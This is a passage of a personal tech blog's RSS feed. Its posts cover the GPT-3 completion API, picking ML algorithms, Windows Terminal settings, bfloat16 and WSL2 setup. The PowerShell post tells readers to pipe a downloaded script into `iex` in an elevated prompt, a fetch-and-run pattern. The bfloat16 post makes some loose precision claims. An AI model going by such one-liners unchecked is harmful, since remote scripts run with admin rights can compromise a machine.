&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;openai&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; openai&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;api_key &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;getenv(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;OPENAI_API_KEY&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; response &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; openai&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Completion&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;create(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   engine&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;davinci&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   prompt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;I am a highly intelligent question answering bot. If you ask me a question that is rooted in truth, I will give you the answer. If you ask me a question that is nonsense, trickery, or has no clear answer, I will respond with &lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Unknown&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Q: What is human life expectancy in the United States?&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;A: Human life expectancy in the United States is 78 years.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Q: Who was president of the United States in 1955?&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;A: Dwight D. Eisenhower was president of the United States in 1955.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Q: Which party did he belong to?&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;A: He belonged to the Republican Party.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Q: What is the square root of banana?&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;A: Unknown&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n\&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   temperature&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   max_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   top_p&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   frequency_penalty&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0.0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   presence_penalty&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0.0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   stop&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; )&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There are three core concepts when using GPT-3: Prompt, Completion, and Tokens.&lt;/p&gt;
&lt;p&gt;To start using the API, we need to start giving it some &lt;strong&gt;prompts&lt;/strong&gt; - this provide some context to the engine on what is expecting. Without the surface area is too broad and we get into nonsensical situations. This is part of the task-specific fine-tuning required.&lt;/p&gt;
&lt;p&gt;Think of when giving examples as part of the prompt, we are essentially &lt;em&gt;&amp;ldquo;programming&amp;rdquo;&lt;/em&gt; the model and providing guidance and providing some hints to context and pattern matching. Note the training data cut off in late 2019, so the model in production today doesn&amp;rsquo;t have access to data and events post that (e.g., Covid).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Completion&lt;/strong&gt; is the output that GPT3 generates based on the prompt. To be clear, this is not the full text but is the predicted completions; think of it as &amp;ldquo;autocomplete&amp;rdquo; in Word, or Outlook or a search engine. The API has flexibility to return more than one predicted completion along with the probabilities of alternative tokens at each position (to me it seems just like the wave function when thinking of Quantum mechanics 🐼).&lt;/p&gt;
&lt;p&gt;Finally, think of &lt;strong&gt;Token&lt;/strong&gt; are the smaller Lego blocks that combine to make words. The API, which is nothing but wrappers around GPT-3 breaks up the text into tokens before processing it. The GPT-3 model understands the statistical relationships between these tokens and uses this to produce the next token in a sequence of tokens.&lt;/p&gt;
&lt;p&gt;For example, if we are curious about Tokens, we can see in the screenshot below how the API &amp;ldquo;tokenizes&amp;rdquo; this paragraph and get the details of the tokens. This paragraph contains 207 characters and 43 tokens.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/gpt3-text-tokens.png&#34; alt=&#34;Token text that GPT-3 API converts to before using.&#34;/&gt;
        &lt;figcaption&gt;GPT-3 Tokens - Text&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/gpt3-text-token-IDs.png&#34; alt=&#34;Token ID&amp;rsquo;s that GPT-3 API converts to before using&#34;/&gt;
        &lt;figcaption&gt;GPT-3 Token - IDs&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;At a high level, think of one token == ~4 characters of text, which is ¾ of a word; so, 100 tokens ~= 75 words.&lt;/p&gt;
&lt;p&gt;This is just dipping our toes in the beast that is GPT-3; the APIs which wrap up and expose the engines (more on that in another post) make it simple to use and without getting too much in the weeds of 175 billion parameters. &amp;#x1f604;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>ML algorithm cheat sheet</title>
      <link>/post/2021/05/ml-algorithm-cheat-sheet/</link>
      <pubDate>Mon, 03 May 2021 00:00:00 +0000</pubDate>
      
      <guid>/post/2021/05/ml-algorithm-cheat-sheet/</guid>
      <description>&lt;p&gt;A #ML algorithm cheat sheet - helping narrow down to a certain set of #algorithm grouping depending on the problem at hand and what we are trying to solve from a business perspective.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/ML-algo-cheat-sheet-1024x563.png&#34; alt=&#34;Cheat sheet showing different #ML algorithms to choose from depending on the task at hand&#34;/&gt;
        &lt;figcaption&gt;ML algorithm cheat sheet&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Figure 2 shows what additional characteristics we need to consider when choosing the right ML algorithm for your situation at hand. This is something that cannot be generic and is very situational.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/how-to-select-algorithms-1024x472.png&#34; alt=&#34;Flow diagram showing how to select a ML algorithm and additional characteristics we need to consider as we select a ML algorithm&#34;/&gt;
        &lt;figcaption&gt;Characteristics in selecting ML algorithms&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;If you find this useful, I would also recommend reading &amp;ldquo;&lt;a
	
		href = &#34;https://docs.microsoft.com/en-us/azure/machine-learning/how-to-select-algorithms&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		How to select algorithms
	&lt;/span&gt;
&lt;/a&gt;&amp;rdquo; which is detailed as part of &lt;a
	
		href = &#34;https://docs.microsoft.com/en-us/azure/machine-learning/concept-designer&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure ML designer
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Compiling</title>
      <link>/post/2021/01/compiling/</link>
      <pubDate>Thu, 21 Jan 2021 00:00:00 +0000</pubDate>
      
      <guid>/post/2021/01/compiling/</guid>
      <description>&lt;p&gt;#GeekyJokes&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/compiling.png&#34; alt=&#34;Compiling&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Auto-update PowerShell and nag-free</title>
      <link>/post/2021/01/auto-update-powershell-and-nag-free/</link>
      <pubDate>Mon, 11 Jan 2021 00:00:00 +0000</pubDate>
      
      <guid>/post/2021/01/auto-update-powershell-and-nag-free/</guid>
      <description>&lt;p&gt;If you are like me and get annoyed with the big PowerShell upgrade &amp;rsquo;nag&amp;rsquo; &amp;lsquo;reminder&amp;rsquo; (see screenshot below); instead of trying to figure out what to download and install the update, there is a simpler way to get the latest update and address the nag. :)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image-1024x329.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;You can just run the code below in an elevated prompt to get the latest release of PowerShell - it is easy-peasy. :)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;iex &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;amp; { &lt;/span&gt;$(&lt;span style=&#34;color:#91d7e3&#34;&gt;irm &lt;/span&gt;https&lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt;//aka.ms/&lt;span style=&#34;color:#91d7e3&#34;&gt;install-powershell&lt;/span&gt;.ps1)&lt;span style=&#34;color:#a6da95&#34;&gt; } -UseMSI&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Changing Window Terminal&#39;s default directory</title>
      <link>/post/2021/01/changing-window-terminals-default-directory/</link>
      <pubDate>Fri, 08 Jan 2021 00:00:00 +0000</pubDate>
      
      <guid>/post/2021/01/changing-window-terminals-default-directory/</guid>
      <description>&lt;p&gt;If you are like me, and don&amp;rsquo;t really have your work saved in the &amp;ldquo;%USERPROFILE%&amp;rdquo; it gets annoying after a time, to keep changing the directory.&lt;/p&gt;
&lt;p&gt;If there is one specific folder that you prefer, it is an easy configuration change in the profile setting - add a setting called &amp;ldquo;startingDirectory&amp;rdquo; and point it to the path you want.&lt;/p&gt;
&lt;p&gt;For example, I have a root folder called &amp;ldquo;src&amp;rdquo; where most of the code I am working on sits, and that&amp;rsquo;s where I wanted to default the terminal to.&lt;/p&gt;
&lt;p&gt;To get to the profile, you can either use the shortcut &lt;strong&gt;CTRL+,&lt;/strong&gt; or from the dropdown in the title bar, click settings (see below). This will open the settings.json in your default editor.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Terminal setting&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;In my case, I wanted the starting directory for all the shells, so I put it under &amp;ldquo;defaults&amp;rdquo; - you can choose different options for different shells, and then would have this in the appropriate shell&amp;rsquo;s settings and not the default block of course.&lt;/p&gt;
&lt;p&gt;Below is what this looks like for me pointing this to &amp;ldquo;c:\src&amp;rdquo;. Also note, the escape characters need to be formatted properly to parse.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;defaults&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Put settings here that you want to apply to all profiles.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;fontFace&amp;#34;&lt;/span&gt;:  &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;CaskaydiaCove NF&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;startingDirectory&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;c:\\src&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#ed8796&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-1.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;setting.json screenshot&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Once you save the file, it should automatically reload the terminal. And if the json didn&amp;rsquo;t parse - because of a typo or a syntax error then you would see an error similar to the one shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-2-1024x441.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Parsing error&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;In this example, I set the starting folder as &lt;code&gt;&amp;quot;c:\\src&amp;quot;&lt;/code&gt;; instead of &lt;code&gt;&amp;quot;c:\\\\src&amp;quot;&lt;/code&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>bfloat16 - how it improves AI chip designs</title>
      <link>/post/2020/09/bfloat16-how-it-improves-ai-chip-designs/</link>
      <pubDate>Sat, 12 Sep 2020 00:00:00 +0000</pubDate>
      
      <guid>/post/2020/09/bfloat16-how-it-improves-ai-chip-designs/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Floating-point_arithmetic&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Floating point
	&lt;/span&gt;
&lt;/a&gt; calculations are slow for computers (specifically CPUs); possibly representing the same struggle for many humans. :)&lt;/p&gt;
&lt;p&gt;I remember a time when a FPU (floating point unit) was an upgrade and one had to pay extra to get one. Very useful when you needed that extra precision in computing - and in my head, it always seemed like the Turbo button. :)&lt;/p&gt;
&lt;p&gt;For most #ML workloads and computations, precision isn’t the most important criteria; with every increasing data and parameters (looking at you &lt;a
	
		href = &#34;https://github.com/openai/gpt-3&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		GPT-3
	&lt;/span&gt;
&lt;/a&gt; with &lt;strong&gt;45 TB&lt;/strong&gt; of data and &lt;strong&gt;175 billion&lt;/strong&gt; parameters!), what most ML needs today is speed and dynamic range.&lt;/p&gt;
&lt;p&gt;This is where &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Bfloat16_floating-point_format&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bfloat16
	&lt;/span&gt;
&lt;/a&gt; (Brain floating-point format with 16 bits) - a new floating-point format comes handy and in the context of #AI improves on &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/IEEE_754&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		IEEE 754
	&lt;/span&gt;
&lt;/a&gt; - the current floating-point arithmetic standard.&lt;/p&gt;
&lt;p&gt;As per IEEE 754, a floating point it will always take up 32 bits (see Figure 1 below) - irrespective of the size of the number. The exponent (8 bits) tells us how many numbers we shift (left or right) and place the decimal. The fraction (23 bits), also called the mantissa, holds the actual number - i.e. the data.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/IEEE-754-1024x130.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Figure 1 - IEEE 754 Floating point representation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;bfloat16 truncates the data size in a third (see Figure 2) - with the fraction truncated from 23 to 7 bits. This of course means bfloat16 isn&amp;rsquo;t as precise. However &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Bfloat16_floating-point_format&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bfloat16
	&lt;/span&gt;
&lt;/a&gt; has the same exponent bits as IEEE-754 it can represent a similar range (small to large), but more importantly are easier to convert between bfloat16 and IEEE 754.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/bfloat16.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Figure 2 - fbloat16 representation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Less precision doesn&amp;rsquo;t impact the matrix multiplication as much so in the context of ML training and inference these chips at scale are more efficient - not only they are faster, they also use less power, and memory bandwidth.&lt;/p&gt;
&lt;p&gt;What is interesting in &lt;a
	
		href = &#34;https://arxiv.org/abs/1809.00095&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		some neural nets
	&lt;/span&gt;
&lt;/a&gt; such as a DNN, these less precision bfloat16 are more precise compared to IEEE 754! This is because the regularization and quantization weights cannot use the finer precision represented by IEEE 754 but adapt better with bfloat16. :)&lt;/p&gt;
&lt;p&gt;Finally, bfloat16 is not a universal standard (yet); most AI chips support this. ARM, Intel, and, AMD have started adding support for this in their chipsets.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>WSL2 &#43;Ubuntu on Window 10 (2004)</title>
      <link>/post/2020/08/wsl2-ubuntu-on-window-10-2004/</link>
      <pubDate>Wed, 05 Aug 2020 00:00:00 +0000</pubDate>
      
      <guid>/post/2020/08/wsl2-ubuntu-on-window-10-2004/</guid>
      <description>&lt;p&gt;One of the key advances in the latest version of Windows 10 (2004) is WSL2 (Windows Subsystem for Linux v2) - and whilst a version bump, it offers so much more. This allows us to run with near-native performance linux binaries (&lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Executable_and_Linkable_Format&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ELF64
	&lt;/span&gt;
&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Before we get into the steps outlined to install WSL2, I also recommend installing &lt;a
	
		href = &#34;https://www.microsoft.com/en-us/p/windows-terminal/9n0dx20hk701&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Terminal
	&lt;/span&gt;
&lt;/a&gt;, and &lt;a
	
		href = &#34;https://docs.microsoft.com/en-us/windows/package-manager/winget/#install-winget&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		winget
	&lt;/span&gt;
&lt;/a&gt;. Although not required, it does make it simpler to use and a better (dev) experience - especially when setting up a new workstation.&lt;/p&gt;
&lt;p&gt;For WSL2 to work, you need to make sure you are on Windows 10 2004 Build 19041 or higher. If you don&amp;rsquo;t have this, run Windows update and see if that updates your OS. If that doesn&amp;rsquo;t offer a update, you could also try the &lt;a
	
		href = &#34;https://www.microsoft.com/software-download/windows10&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows update assistant
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To get WSL2, whilst not complicated one needs to do the following steps, in this order - running the commands in an elevated prompt.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Enable the Windows Subsystem for Linux optional feature.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dism.&lt;span style=&#34;color:#f5a97f&#34;&gt;exe&lt;/span&gt; /online /&lt;span style=&#34;color:#91d7e3&#34;&gt;enable-feature&lt;/span&gt; /featurename&lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Microsoft-Windows&lt;/span&gt;-Subsystem-Linux /all /norestart&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ol start=&#34;2&#34;&gt;
